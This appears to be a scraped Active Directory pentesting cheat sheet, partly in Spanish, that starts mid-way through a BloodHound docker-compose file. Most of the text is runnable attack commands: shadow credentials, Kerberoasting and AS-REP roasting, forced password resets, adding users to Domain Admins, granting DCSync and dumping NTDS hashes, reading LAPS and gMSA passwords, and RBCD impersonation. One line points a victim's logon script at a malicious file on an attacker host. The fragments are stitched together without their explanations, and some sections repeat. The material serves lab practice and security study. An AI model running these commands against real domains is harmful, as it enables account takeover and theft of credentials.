        volumes:
          - postgres-data:/var/lib/postgresql/data
        healthcheck:
          test:
            [
              "CMD-SHELL",
              "pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
            ]
          interval: 10s
          timeout: 5s
          retries: 5
          start_period: 30s
    
      graph-db:
        image: docker.io/library/neo4j:4.4.42
        environment:
          - NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
          - NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
        # Database ports are disabled by default. Please change your database password to something secure before uncommenting
        ports:
          - 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
          - 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
        volumes:
          - ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
        healthcheck:
          test:
            [
              "CMD-SHELL",
              "wget -O /dev/null -q http://localhost:7474 || exit 1"
            ]
          interval: 10s
          timeout: 5s
          retries: 5
          start_period: 30s
    
      bloodhound:
        image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
        environment:
          - bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
          - bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
          - bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
          - bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
          - bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
          - bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
          - bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
          ### Add additional environment variables you wish to use here.
          ### For common configuration options that you might want to use environment variables for, see `.env.example`
          ### example: bhe_database_connection=${bhe_database_connection}
          ### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
          ### is the variable available outside of Docker
        ports:
          ### Default to localhost to prevent accidental publishing of the service to your outer networks
          ### These can be modified by your .env file or by setting the environment variables in your Docker host OS
          - ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
        ### Uncomment to use your own bloodhound.config.json to configure the application
        # volumes:
        #   - ./bloodhound.config.json:/bloodhound.config.json:ro
        depends_on:
          app-db:
            condition: service_healthy
          graph-db:
            condition: service_healthy
    
    volumes:
      neo4j-data:
      postgres-data:
    sudo docker-compose up -d
    sudo docker ps
    sudo docker logs bloodhound-ce_bloodhound_1
    sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
    sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stop
    sudo apt update -y && sudo apt install bloodhound neo4j -y
    sudo neo4j console
    bloodhound > /dev/null 2>&1 & disown
    sudo neo4j console
    bloodhound > /dev/null 2>&1 & disown
    User/Password
    certipy-ad shadow auto -username 'attacker' -p 'Password01!' -account 'victim' -dc-ip 10.10.10.10
    Pass-the-Hash (PtH)
    certipy-ad shadow auto -username 'attacker' -hashes '01e97f85894e06a5ad698f624b9a7ee9' -account 'victim' -dc-ip 10.10.10.10
    Kerberos
    certipy-ad shadow auto -k -no-pass -account 'victim' -dc-ip 10.10.10.10 -target DC01.domain.htb -dc-host DC01
    User/Password
    ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
    Pass-the-Hash (PtH)
    ldap_shell domain.htb/attacker -hashes aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9 -dc-ip 10.10.10.10
    Kerberos
    ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
    get_ntlm victim
    User/Password
    bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
    Pass-the-Hash (PtH)
    bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
    Kerberos
    bloodyAD --host dc.domain.htb -d domain.htb -k add shadowCredentials 'victim'
    python3 gettgtpkinit.py -cert-pem <file.cert.pem> -key-pem <file_priv.pem> domain.htb/victim <ticket.ccache>
    export KRB5CCNAME=$(pwd)/ticket.ccache
    klist
    python3 getnthash.py -key <key_step_2> domain.htb/victim
    Linux -
    # Asignar un SPN ficticio (cifs/gzzcoo) a la cuenta llamada 'target'.
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
    
    # Conseguir el ticket TGS del usuario que hemos hecho Kerberoastable.
    impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request-user 'target'
    
    # Dejar el SPN vacío sobre el usuario que habíamos vuelto Kerberostable.
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName
    
    ---------------------------------------------------------------------------------------
    
    # A través de PowerView.py
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'
    
    # Proceso automático, asigna un SPN a los usuarios que disponga permisos, te da el ticket TGS y luego deja al usuario tal y como estaba.
    python3 targetedKerberoast.py --dc-ip 10.10.10.10 -d dominio.htb -u 'user' -p 'password'
    Windows
    # Asegurarse de que el usuario víctimo no disponga de SPN
    Get-DomainUser 'victimuser' | Select serviceprincipalname
    
    # Configurar el SPN al usuario víctima
    Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='cifs/gzzcoo'}
    
    # Obtener el Kerberoast hash
    $User = Get-DomainUser 'victimuser'
    $User | Get-DomainSPNTicket | fl
    
    # Borrar el SPN del usuario víctima para dejarlo como estaba
    $User | Select serviceprincipalname
    Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname
    Linux
    # Asignamos al usuario 'target' la flag de (DONT_REQ_PREAUTH)
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
    
    # Solicitamos el ticket TGT del usuario AS-REP Roastable
    impacket-GetNPUsers dominio.htb/target -no-pass 2>/dev/null
    
    # Volvemos a la normalidad al usuario AS-REP Roastable
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH
    
    ---------------------------------------------------------------------------------------
    
    # Desde PowerView.py
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'
    Windows
    # NECESARIO DE IMPORTAR PowerView.ps1 Y ASREPRoast.ps1 EN EL EQUIPO WINDOWS VÍCTIMA
    
    # Modificamos el userAccountControl (UAC) del usuario para volverlo AS-REP Roastable
    Get-DomainUser username | ConvertFrom-UACValue
    
    # Solicitamos el ticket TGT
    Get-DomainUser username | ConvertFrom-UACValue
    Get-ASREPHash -Domain dominio.htb -UserName username
    
    # Dejamos por defecto el UAC del usuario
    Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    Get-DomainUser username | ConvertFrom-UACValue
    Linux
    # Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
    
    # Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
    rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
    
    # Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
    net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
    
    # Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
    
    ---------------------------------------------------------------------------------------
    
    # Verificamos que el cambio se ha realizado correctamente
    nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'
    Windows
    # Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
    net user <user_target> Password01! /domain
    
    # Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
    $SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
    $NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
    Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred
    Linux
    # Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
    Windows
    @ Asignamos al usuario 'target' que ejecute un script malicioso ubicado en el mismo equipo víctima
    Set-DomainObject -Identity 'target' -SET @{scriptpath='C:\ProgramData\test\test.ps1'}
    Linux
    # Disponemos de permisos de GenericAll sobre el grupo, por lo tanto nos agregamos a nosotros al grupo
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'Domain Admins' 'user'
    
    # Añadir a usuario 'UserToAdd' a un grupo donde tenemos permisos de GenericAll
    net rpc group ADDMEM 'GROUP TARGET' 'UserToAdd' -U 'user%password' -W dominio.htb -I 10.10.10.10
    
    # Añadir usuario 'target' al grupo 'Group_target'
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    PV > Add-DomainGroupMember -Identity 'Group_target' -Members 'target'
    Windows
    net group 'GROUP TARGET' 'USER_TARGET' /add /domain
    Linux
    # Teniendo permisos de WriteDACL sobre el dominio, podemos dar permisos de DCSync a cualquier usuario
    bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
    
    # Una vez el usuario tenga los permisos de DCSync, hacemos un dump del NTDS.dit
    impacket-secretsdump dominio.htb/'user':'password'@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-ntlm
    
    # Volvemos a asignar al usuario víctima en el estado anterior
    bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'
    Windows
    # Otorgar permisos de DCSync a la identidad 'user_target'
    Import-Module .\PowerView.ps1
    $SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
    Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=dominio,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain dominio.htb
    Linux
    # Con WriteDACL en un grupo, otorgamos a un usuario permisos de control total sobre el grupo
    bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'
    
    # Quitamos el permiso de genericAll para dejarlo como antes
    bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'
    Windows
    # Añadirnos al grupo con comandos nativos de Windows
    net group 'GROUP_TARGET' 'user_target' /add /domain
    
    # A través de PowerSploit para darnos permisos de WriteMember sobre el grupo
    ADd-DomainObjectAcl -TargetIdentity 'GROUP_TARGET' -Rights WriteMembers -PrincipalIdentity 'user_target'
    Linux
    # Nos convertimos en propietario del objeto.
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
    
    # Para garantizar el control total, al ser propietarios nos otorgamos genericAll sobre el objeto.
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
    
    -----------
    # Convertir en propietario el usuario 'user_target' del objeto 'object_target'
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    PV > Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'
    Windows
    # Necesario de importar PowerView.ps1
    $SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
    Add-DomainObjectAcl -Credential $Cred -TargetIdentity "object_target" -PrincipalIdentity 'user_target'
    ADd-DomainObjectAcl -TargetIdentity 'object_target' -Rights WriteMembers -PrincipalIdentity 'user_target'
    Linux
    # Leer la contraseña LAPS a través de bloodyAD
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
    
    # Leer la contraseña LAPS a través de nxc
    nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps
    
    # Leer la contraseña LAPS a través de LAPSDumper
    python3 laps.py -u 'user' -p 'password' -d dominio.htb
    Windows
    # Leer la contraseña LAPS a través de PowerShell (comando nativo)
    Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
    
    # Leer la contraseña LAPS a través de Get-LAPSPasswords.ps1
    Get-LAPSPasswords -DomainController 10.10.10.10 -Credential dominio.htb\user| Format-Table -AutoSize
    Linux
    # Leer la contraseña GMSA a través de bloodyAD
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
    
    # Leer la contraseña GMSA a través de nxc
    nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa
    
    # Leer la contraseña GMSA a través de gMSADumper
    python3 gMSADumper.py -u 'user' -p 'password' -d dominio.htb
    
    # Leer la contraseña GMSA a través de PowerView.py
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    PV > Get-GMSA
    Linux
    # Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
    
    # Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
    rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
    
    # Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
    net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
    
    # Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
    powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
    PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
    
    ---------------------------------------------------------------------------------------
    
    # Verificamos que el cambio se ha realizado correctamente
    nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'
    Windows
    # Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
    net user <user_target> Password01! /domain
    
    # Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
    $SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
    $NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
    Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred
    Linux
    # Nos otorgamos FullControl sobre la OU llamada TESTERS
    impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
    
    # Verificamos que disponemos de FullControl sobre la OU llamada TESTERS
    impacket-dacledit -action 'read' -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
    bloodyAD
    # User/Password Authentication
    bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
    
    # Pass-the-Hash (PtH) Authentication
    bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
    
    # Kerberos Authentication (.ccache)
    bloodyAD --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'
    PowerView.py
    # Authentication
    # ---------------------------------------------------------------------------------- #
    ## User/Password Authentication ##
    powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
    ## Pass-the-Hash (PtH) Authentication ##
    powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
    ## Kerberos Authentication (.ccache) ##
    powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10
    
    # Command to use
    Add-DomainGroupMember -Identity 'targetGroup' -Members 'targetUser'
    net rpc
    # User/Password Authentication
    net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
    
    # Pass-the-Hash (PtH) Authentication
    net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10
    pth-net rpc
    # User/Password Authentication
    pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
    
    # Pass-the-Hash (PtH) Authentication
    pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10
    ldapmodify
    # Create add-user-to-group.ldif indicating the DN (of the targetGroup) and the member to add
    ❯ cat add-user-to-group.ldif
    dn: CN=targetGroup,CN=USERS,DC=DOMAIN,DC=HTB
    changetype: modify
    add: member
    member: CN=VICTIM,CN=USERS,DC=DOMAIN,DC=HTB
    
    # Execute command
    ❯ ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!' -f add-user-to-group.ldif
    
    # Oneliner alternative method without .ldif
    printf 'dn: CN=targetGroup,CN=USERS,DC=domain,DC=htb\nchangetype: modify\nadd: member\nmember: CN=VICTIM,CN=USERS,DC=domain,DC=htb\n' | ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!'
    ldap_shell
    # Authentication
    # ---------------------------------------------------------------------------------- #
    ## User/Password Authentication ##
    ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
    ## Pass-the-Hash (PtH) Authentication ##
    ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
    ## Kerberos Authentication (.ccache) ##
    ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
    
    # Command to use
    add_user_to_group targetUser targetGroup
    Windows net command
    net group 'targetGroup' 'targetUser' /add /domain
    bloodyAD.exe
    # User/Password Authentication
    .\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
    
    # Pass-the-Hash (PtH) Authentication
    .\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
    
    # Kerberos Authentication (.ccache)
    .\bloodyAD.exe --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'
    User/Password
    bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'
    Pass-the-Hash (PtH)
    bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'
    Kerberos
    bloodyAD --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'
    User/Password
    powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
    Pass-the-Hash (PtH)
    powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
    Kerberos
    powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10
    Set-DomainUserPassword -Identity 'victim' -AccountPassword 'NewPassword12'
    User/Password
    impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -altpass 'Password01!' -dc-ip 10.10.10.10
    Pass-the-Hash (PtH)
    impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -althash '01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
    Kerberos
    impacket-changepasswd domain.htb/victim@dc.domain.htb -newpass 'NewPass01!' -reset -altuser 'attacker' -k -no-pass -dc-ip 10.10.10.10
    User/Password
    nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWPASS='NewPass123!'
    User/Password
    nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
    Pass-the-Hash (PtH)
    nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWPASS='NewPass123!'
    Pass-the-Hash (PtH)
    nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
    Kerberos
    nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWPASS='NewPass123!'
    Kerberos
    nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
    User/Password
    ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
    Pass-the-Hash (PtH)
    ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
    Kerberos
    ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
    change_password victim 'NewPass123!'
    User/Password
    rpcclient -U 'attacker%Password01!' 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'
    Pass-the-Hash (PtH)
    rpcclient -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'
    User/Password
    net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'Password01!' -S 10.10.10.10
    Pass-the-Hash (PtH)
    net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -S 10.10.10.10
    User/Password
    pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%Password01!' -S 10.10.10.10
    Pass-the-Hash (PtH)
    pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%afac881b79a524c8e99d2b34f438058b' --pw-nt-hash -S 10.10.10.10
    use auxiliary/admin/ldap/change_password
    set rhosts 10.10.10.10
    set domain domain.htb
    set username attacker
    set password Password01!
    set target_user victim
    set new_password NewPass123!
    run
    User/Password
    .\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'
    Pass-the-Hash (PtH)
    .\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'
    Kerberos
    .\bloodyAD.exe --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'
    powershell -ep bypass
    
    Import-Module .\PowerView.ps1
    
    $user = 'DOMAIN\attacker'; 
    $pass= ConvertTo-SecureString 'AttackerPwd' -AsPlainText -Force; 
    $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
    $newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force; 
    Set-DomainUserPassword -Identity 'DOMAIN\victim' -AccountPassword $newpass -Credential $creds;
    lsadump::setntlm /server:domain.htb /user:victim/password:NewPass123!
    CMD
    net user victim NewPass123! /domain
    PowerShell
    Import-Module ActiveDirectory
    
    Set-ADAccountPassword -Identity victim -NewPassword (ConvertTo-SecureString 'NewPass12!' -AsPlainText -Force) -Reset
    # Kerberoasting Attack con credenciales válidas y autenticación NTLM
    impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -request 2>/dev/null
    impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user:'password' -request 2>/dev/null
    
    # Kerberoasting Attack a través de autenticación Kerberos
    impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
    
    # Kerberoasting sin credenciales de dominio pero con un usuario AS-REP Roast, necesario disponer de lista de usuarios en 'users.txt'
    impacket-GetUserSPNs -no-preauth 'usuario-asrep' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.161 2>/dev/null

    Dumping credentials

    Windows Lateral Movement

    # Obtención de TGT a través de contraseña básica
    impacket-getTGT dominio.htb/user:'password' -dc-ip 10.10.10.10
    
    # Obtención de TGT a través de Hash NTLM
    impacket-getTGT dominio.htb/user -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
    
    # Obtención de TGT a través de Autenticación Kerberos
    impacket-getTGT dominio.htb/user -k -no-pass -dc-ip 10.10.10.10
    ldapsearch -x -H ldap://10.10.10.10 -s base | grep defaultNamingContext
    # RBCD a través de autenticación NTLM
    impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd':'password' 2>/dev/null
    
    # RBCD a través de PassTheHash
    impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -hashes :<NTLM_HASH> 2>/dev/null
    
    # RBCD a través de Autenticación Kerberos
    impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -k -no-pass 2>/dev/null
    ldapsearch -x -H ldap://10.10.10.10 -b "dc=domain,dc=htb" | grep -ie "pwd\|password"
    ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b 'dc=domain,dc=htb' "(info=*)" info
    ldapsearch -x -H ldap://10.10.10.10 -D user@domain.htb -w 'password' -b 'dc=domain,dc=htb' '(objectClass=computer)' ms-MCS-AdmPwd
    # Autenticación simple
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"
    # Autenticación simple
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"
    # Autenticación simple
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*god)"
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=god*)"
    # Autenticación simple
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount
    # Autenticación simple
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf
    # Autenticación simple
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=computer)"
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=computer)"
    # Autenticación simple
    ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member
    
    # Autenticación de Kerberos
    ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member
    # Autenticación simple
